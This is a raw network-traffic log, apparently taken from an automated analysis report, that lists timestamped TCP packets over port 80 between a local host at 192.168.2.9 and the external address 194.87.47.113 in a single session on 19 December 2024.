Dec 19, 2024 08:01:06.642322063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.642335892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.642348051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.642389059 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.642412901 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.643296003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.643382072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.643393993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.643440962 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.685689926 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.772490978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.772516966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.772533894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.772690058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.772784948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.772810936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.772836924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.772875071 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.772912025 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.773793936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.773813963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.773829937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.773870945 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.774665117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.774728060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.774743080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.774806976 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.775661945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.775696039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.775758982 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.807456017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.807496071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.807512999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.807602882 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.807904005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.807948112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.807961941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.808010101 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.808866978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.808898926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.808902025 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.808913946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.808939934 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.809889078 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.809936047 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.809937000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.809962988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.810000896 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.810924053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.810939074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.810954094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.810981989 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.811768055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.811813116 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.811927080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.811965942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.812001944 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.812674999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.812705994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.812721014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.812750101 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.813594103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.813664913 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.813677073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.813690901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.813726902 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.814560890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.814594030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.814608097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.814650059 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.815527916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.815556049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.815572023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.815609932 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.815642118 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.816476107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.816502094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.816515923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.816554070 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.817414999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.817444086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.817459106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.817528009 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.818346024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.818403959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.818416119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.818448067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.819468975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.819500923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.819515944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.819578886 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.820327997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.820403099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.820417881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.820465088 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.821376085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.821394920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.821413994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.821446896 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.821475029 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.822227001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.822388887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.822402954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.822443008 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.823115110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.823160887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.823185921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.823219061 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.823246002 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.824198008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.824217081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.824234962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.824266911 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.825043917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.825076103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.825092077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.825118065 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.825145960 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.826001883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.826035023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.826049089 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.826072931 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.826927900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.826956034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.826971054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.826997995 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.827023983 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.827874899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.827940941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.827955008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.827977896 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.828845978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.828881979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.828896046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.828938007 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.828958035 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.829783916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.829818010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.829832077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.829857111 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.830744028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.830830097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.830843925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.830876112 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.830890894 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.831772089 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.831810951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.831825972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.831852913 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.832773924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.832811117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.832824945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.832851887 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.832874060 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.833792925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.833807945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.833822966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.833853006 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.834517002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.834583044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.834597111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.834626913 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.834650993 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.835649014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.835675001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.835690022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.835720062 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.888797045 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.964586973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.964658976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.964696884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.964771986 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.965002060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.965058088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.965095043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.965122938 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.965151072 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.965993881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.966049910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.966084957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.966115952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.966926098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.966981888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.967019081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.967099905 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.967164993 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.967915058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.967971087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.968035936 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.999644995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.999694109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.999706030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.999756098 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.000174999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.000186920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.000197887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.000232935 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.000262976 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.001060009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.001115084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.001127005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.001163960 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.002011061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.002039909 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.002052069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.002079010 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.002101898 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.003046989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.003094912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.003107071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.003144026 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.003918886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.003972054 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.003979921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.003993034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.004034042 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.004878998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.004930019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.004940987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.004980087 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.005841970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.005898952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.005906105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.005918026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.005951881 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.006758928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.006827116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.006838083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.006881952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.007795095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.007813931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.007826090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.007837057 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.007932901 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.008671045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.008723974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.008734941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.008765936 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.009634972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.009675026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.009685993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.009722948 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.009747982 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.010622025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.010658979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.010670900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.010704994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.011527061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.011593103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.011605024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.011632919 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.011657000 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.012473106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.012521982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.012535095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.012566090 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.013422012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.013467073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.013478041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.013479948 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.013513088 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.014482021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.014518976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.014530897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.014570951 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.015338898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.015387058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.015392065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.015394926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.015439034 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.016320944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.016340971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.016354084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.016393900 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.017246962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.017266989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.017277002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.017304897 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.017390013 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.018181086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.018256903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.018268108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.018301964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.019211054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.019249916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.019263029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.019305944 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.020203114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.020240068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.020251989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.020309925 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.021178007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.021222115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.021238089 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.021238089 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.022053957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.022077084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.022089958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.022105932 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.022141933 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.023015022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.023051977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.023062944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.023097992 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.023900032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.023920059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.023930073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.023956060 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.024842978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.024888039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.024899006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.024919033 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.024935961 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.025813103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.025873899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.025885105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.025913954 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.026765108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.026801109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.026812077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.026818037 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.026849985 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.027784109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.027803898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.027816057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.027853012 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.159818888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.159837961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.159851074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.159935951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.159946918 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.159955978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.159974098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.159985065 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.159992933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.160003901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.160012007 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.160020113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:07.160037041 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:07.160188913 CET	80	49739	194.87.47.113	192.168.2.9
